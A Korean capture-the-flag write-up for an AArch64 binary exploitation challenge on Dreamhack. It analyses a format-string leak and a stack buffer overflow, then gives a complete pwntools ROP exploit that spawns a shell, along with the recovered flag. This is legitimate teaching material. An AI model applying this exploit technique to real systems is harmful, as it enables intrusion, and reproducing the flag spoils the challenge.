Description
드림이는 ARM 의 세계에 첫 발을 내밀었어요!
checksec
ubuntu@instance-20230517-1532:~/Desktop/Leg2$ checksec ./chal [*] '/home/ubuntu/Desktop/Leg2/chal' Arch: aarch64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
Decompiled-src
main
int __cdecl main(int argc, const char **argv, const char **envp) { proc_init(); vuln(); return 0; }
proc_init
__int64 *proc_init() { __int64 *result; // x0 setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); result = &name; name = (__int64)name_pointer; return result; }
vuln
__int64 vuln() { char v1; // [xsp+10h] [xbp+10h] BYREF printf("your name > "); read_input(name_pointer, 32); printf("Hi! "); printf(name_pointer); putchar(10); printf("Let me know your message!"); printf("\n> "); return read_input(&v1, 512); }
IDA Pro로 Pseudo-code로 나타내면 위와 같이 나오는데,
vuln 함수에서의 v1 버퍼크기가 틀리게 나오는등 다소 부정확하게 나온다.
Analysis
vuln
gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x0000000000000bd0 <+0>: stp x29, x30, [sp, #-272]! 0x0000000000000bd4 <+4>: mov x29, sp 0x0000000000000bd8 <+8>: adrp x0, 0x0 0x0000000000000bdc <+12>: add x0, x0, #0xc80 0x0000000000000be0 <+16>: bl 0x860 <printf@plt> 0x0000000000000be4 <+20>: mov w1, #0x20 0x0000000000000be8 <+24>: adrp x0, 0x12000 0x0000000000000bec <+28>: add x0, x0, #0x40 0x0000000000000bf0 <+32>: bl 0xac4 <read_input> 0x0000000000000bf4 <+36>: adrp x0, 0x0 0x0000000000000bf8 <+40>: add x0, x0, #0xc90 0x0000000000000bfc <+44>: bl 0x860 <printf@plt> 0x0000000000000c00 <+48>: adrp x0, 0x12000 0x0000000000000c04 <+52>: add x0, x0, #0x40 0x0000000000000c08 <+56>: bl 0x860 <printf@plt> 0x0000000000000c0c <+60>: mov w0, #0xa 0x0000000000000c10 <+64>: bl 0x850 <putchar@plt> 0x0000000000000c14 <+68>: adrp x0, 0x0 0x0000000000000c18 <+72>: add x0, x0, #0xc98 0x0000000000000c1c <+76>: bl 0x860 <printf@plt> 0x0000000000000c20 <+80>: adrp x0, 0x0 0x0000000000000c24 <+84>: add x0, x0, #0xcb8 0x0000000000000c28 <+88>: bl 0x860 <printf@plt> 0x0000000000000c2c <+92>: add x0, sp, #0x10 0x0000000000000c30 <+96>: mov w1, #0x200 0x0000000000000c34 <+100>: bl 0xac4 <read_input> 0x0000000000000c38 <+104>: nop 0x0000000000000c3c <+108>: ldp x29, x30, [sp], #272 0x0000000000000c40 <+112>: ret

vuln 함수에서의 스택 구조는 위와 같다.
read 함수를 통해 v1 지역변수에 512(=0x200)바이트만큼 입력받는데,
여기서 v1 지역변수는 256바이트로 할당되어있어 버퍼 오버플로우 취약점이 발생한다.
Solution
이전에 공부했던 내용을 바탕으로 ROP 기법을 통해 풀어보았다.
from pwn import * #context.log_level = 'debug' context(arch='aarch64', os='linux') warnings.filterwarnings('ignore') p = remote("host3.dreamhack.games", 12987) e = ELF('./chal', checksec=False) libc = ELF('./libc.so', checksec=False) p.sendlineafter(b"your name > ", b"%p %p %p %p %p %p %p /bin/sh") tmp = p.recvline() bin_base = tmp.split(b" ")[-2] bin_base = bin_base.split(b"\n")[0] bin_base = int(bin_base, 16) libc_base = tmp.split(b" ")[3] libc_base = int(libc_base, 16) libc_base = libc_base - 0x46f4c success(f"libc_base: {hex(libc_base)}") bin_base = bin_base - 0xc90 #Hi! success(f"bin_base: {hex(bin_base)}") # ROP # chal # 0x0000000000000a08 <+88>: ldr x19, [sp, #16] # 0x0000000000000a0c <+92>: ldp x29, x30, [sp], #32 # 0x0000000000000a10 <+96>: ret # libc.so # 0x0000000000059ad0 <+168>: mov x0, x19 # 0x0000000000059ad4 <+172>: ldp x19, x20, [sp, #16] # 0x0000000000059ad8 <+176>: ldp x29, x30, [sp], #32 # 0x0000000000059adc <+180>: ret payload = b"\x00"*(0x108) payload += p64(0xA08 + bin_base) payload += b"B"*8 payload += p64(0x59ad0 + libc_base) payload += p64(e.symbols['name_pointer'] + 0x15 + bin_base) #name_pointer+0x15 /bin/sh payload += b"C"*8 payload += b"D"*8 payload += p64(libc.symbols["system"] + libc_base) p.sendlineafter(b"> ", payload) p.interactive()
Result
ubuntu@instance-20230517-1532:~/Desktop/Leg2$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 12987: Done [+] libc_base: 0xffffb499e000 [+] bin_base: 0xaaaab7d09000 [*] Switching to interactive mode $ cat /flag DH{1b5390bac7a388c32a6a6268f321e0d6} $ exit $ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 12987